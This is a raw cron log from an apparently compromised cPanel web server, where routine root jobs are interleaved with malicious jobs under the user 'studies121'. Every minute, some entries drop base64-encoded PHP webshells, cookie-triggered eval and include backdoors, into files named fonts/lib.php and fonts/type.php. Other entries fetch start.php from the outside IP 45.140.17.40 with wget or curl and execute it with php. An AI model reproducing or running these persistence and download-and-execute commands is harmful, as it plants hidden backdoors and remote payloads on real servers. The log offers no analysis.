Sep  5 06:33:01 ip-184-168-122-23 CROND[25657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:33:01 ip-184-168-122-23 CROND[25656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:33:01 ip-184-168-122-23 CROND[25658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:34:01 ip-184-168-122-23 CROND[25753]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 06:34:01 ip-184-168-122-23 CROND[25755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:34:01 ip-184-168-122-23 CROND[25756]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:34:01 ip-184-168-122-23 CROND[25758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:34:01 ip-184-168-122-23 CROND[25757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:35:01 ip-184-168-122-23 CROND[25886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:35:01 ip-184-168-122-23 CROND[25888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:35:01 ip-184-168-122-23 CROND[25889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:35:01 ip-184-168-122-23 CROND[25891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:35:01 ip-184-168-122-23 CROND[25892]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 06:35:01 ip-184-168-122-23 CROND[25893]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 06:35:01 ip-184-168-122-23 CROND[25894]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 06:35:01 ip-184-168-122-23 CROND[25895]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 06:36:01 ip-184-168-122-23 CROND[26095]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:36:01 ip-184-168-122-23 CROND[26096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:36:01 ip-184-168-122-23 CROND[26100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:36:01 ip-184-168-122-23 CROND[26099]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 06:36:01 ip-184-168-122-23 CROND[26101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:37:01 ip-184-168-122-23 CROND[26368]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:37:01 ip-184-168-122-23 CROND[26367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:37:01 ip-184-168-122-23 CROND[26369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:37:01 ip-184-168-122-23 CROND[26370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:38:01 ip-184-168-122-23 CROND[26732]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 06:38:01 ip-184-168-122-23 CROND[26734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:38:01 ip-184-168-122-23 CROND[26735]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:38:01 ip-184-168-122-23 CROND[26736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:38:01 ip-184-168-122-23 CROND[26737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:39:01 ip-184-168-122-23 CROND[26851]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:39:01 ip-184-168-122-23 CROND[26854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:39:01 ip-184-168-122-23 CROND[26853]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 06:39:01 ip-184-168-122-23 CROND[26856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:39:01 ip-184-168-122-23 CROND[26855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:40:01 ip-184-168-122-23 CROND[26949]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 06:40:01 ip-184-168-122-23 CROND[26952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:40:01 ip-184-168-122-23 CROND[26953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:40:01 ip-184-168-122-23 CROND[26955]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 06:40:01 ip-184-168-122-23 CROND[26956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:40:01 ip-184-168-122-23 CROND[26959]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 06:40:01 ip-184-168-122-23 CROND[26961]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:40:01 ip-184-168-122-23 CROND[26960]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 06:41:01 ip-184-168-122-23 CROND[27056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:41:01 ip-184-168-122-23 CROND[27057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:41:01 ip-184-168-122-23 CROND[27060]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:41:01 ip-184-168-122-23 CROND[27058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:42:01 ip-184-168-122-23 CROND[27271]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:42:01 ip-184-168-122-23 CROND[27273]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 06:42:01 ip-184-168-122-23 CROND[27275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:42:01 ip-184-168-122-23 CROND[27274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:42:01 ip-184-168-122-23 CROND[27276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:43:01 ip-184-168-122-23 CROND[27401]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:43:01 ip-184-168-122-23 CROND[27402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:43:01 ip-184-168-122-23 CROND[27404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:43:01 ip-184-168-122-23 CROND[27405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:44:02 ip-184-168-122-23 CROND[27546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:44:02 ip-184-168-122-23 CROND[27549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 06:44:02 ip-184-168-122-23 CROND[27550]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 06:44:02 ip-184-168-122-23 CROND[27548]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 06:44:02 ip-184-168-122-23 CROND[27551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:45:01 ip-184-168-122-23 CROND[27684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:45:01 ip-184-168-122-23 CROND[27687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
